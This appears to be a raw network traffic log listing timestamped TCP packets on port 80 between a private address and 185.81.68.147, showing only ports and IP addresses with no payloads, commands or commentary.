Dec 26, 2024 12:05:08.698786020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.699671030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.699706078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.699827909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.699862957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.700747013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.700783014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.700829983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.700867891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.701721907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.701759100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.701833010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.701869965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.702739000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.702800989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.702836990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.703752995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.703799963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.703869104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.703907967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.704802990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.704850912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.704896927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.704932928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.705792904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.705836058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.705915928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.705952883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.706841946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.706999063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.707036018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.707880974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.707916975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.707950115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.707984924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.708945036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.708997011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.709048986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.709085941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.709934950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.710020065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.710059881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.710908890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.710948944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.711016893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.711056948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.712007999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.712049961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.712105989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.712145090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.712990999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.713028908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.713032007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.713067055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.714005947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.714123964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.714165926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.715037107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.715078115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.715105057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.715142965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.716063023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.716104984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.716147900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.716186047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.717075109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.717116117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.717154980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.717192888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.718079090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.718118906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.718203068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.719182014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.719223976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.719273090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.719306946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.720139027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.720182896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.720277071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.720314026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.721157074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.721199036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.721376896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.721416950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.722230911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.722656965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.722700119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.723220110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.723261118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.723387957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.723428011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.724193096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.724234104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.881001949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.881063938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.881094933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.881141901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.881222963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.881258011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.881381989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.881419897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.882246017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.882328987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.882369041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.883419991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.883457899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.883625984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.883661985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.884803057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.884838104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.884865999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.884896994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.885381937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.885416985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.885474920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.885509014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.886378050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.886472940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.886507988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.887394905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.887432098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.887518883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.887553930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.888406038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.888458967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.888483047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.888516903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.889441967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.889524937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.889599085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.889750004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.890482903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.890530109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.890609980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.890675068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.891557932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.891614914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.891644001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.891678095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.892523050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.892574072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.892635107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.892688036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.893541098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.893601894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.893687010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.893723011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.894571066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.894608974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.894665003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.894697905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.895591974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.895632029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.895710945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.895749092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.896611929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.896714926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.896759033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.896816969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.897682905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.897730112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.897829056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.897864103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.898772001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.898838997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.898936033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.899084091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.899761915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.899781942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.899801970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.899827957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.900787115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.900830030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.900911093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.901407003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.901763916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.901782990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.901799917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.901824951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.902857065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.902895927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.902935028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.903800964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.903840065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.903842926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.903884888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.904829979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.904885054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.904978991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.905028105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.905839920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.905889034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.906035900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.906080961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.906946898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.907016039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.907057047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.908107042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.908155918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.908217907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.908257008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.909023046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.909060001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.909076929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.909099102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.909934044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.909976006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.910037994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.911014080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.911057949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.911066055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.911106110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.911992073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.912043095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.912086010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.912125111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.913054943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.913096905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.913149118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.913186073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.914024115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.914067984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.914105892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.915102005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.915147066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.915214062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.915263891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.916078091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.916121960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.916158915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.916193962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.917340994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.917407990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.917414904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.917447090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.918144941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.918184042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.918226004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.919146061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.919200897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.919265032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.919301987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.920195103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.920245886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.920314074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.920360088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.921324015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.921447039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.921485901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.922394037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.922497034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.922553062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.923449993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.923489094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.923552036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.923588991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.924379110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.924426079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.924489975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.924530029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.925312996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.925352097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.925411940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.925450087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.926361084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.926464081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.926505089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.927356005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.927397013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.927467108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.927505016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.928380966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.928422928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.928498030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.928536892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.929413080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.929454088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.929574013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.929613113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.930476904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.930690050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.930730104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.931442976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.931484938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.931544065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.931583881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.932502985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.932543993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.932580948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.932617903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.933521986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.933804989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.933846951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.934535980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.934576988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.960352898 CET	80	49710	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.960551977 CET	80	49710	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.960613966 CET	49710	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.960643053 CET	49710	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.080442905 CET	80	49710	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.091873884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.091928005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.091981888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.092319012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.092359066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.092497110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.092531919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.093353987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.093388081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.093463898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.093497992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.094360113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.094469070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.094511032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.095371008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.095407009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.095423937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.095457077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.096453905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.096492052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.096560955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.096594095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.097459078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.097492933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.097532988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.097568035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.098504066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.098584890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.098618984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.098670959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.099489927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.099528074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.099586010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.099630117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.100548983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.100590944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.100625038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.100657940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.101589918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.101651907 CET	49708	80	192.168.2.5	185.81.68.147
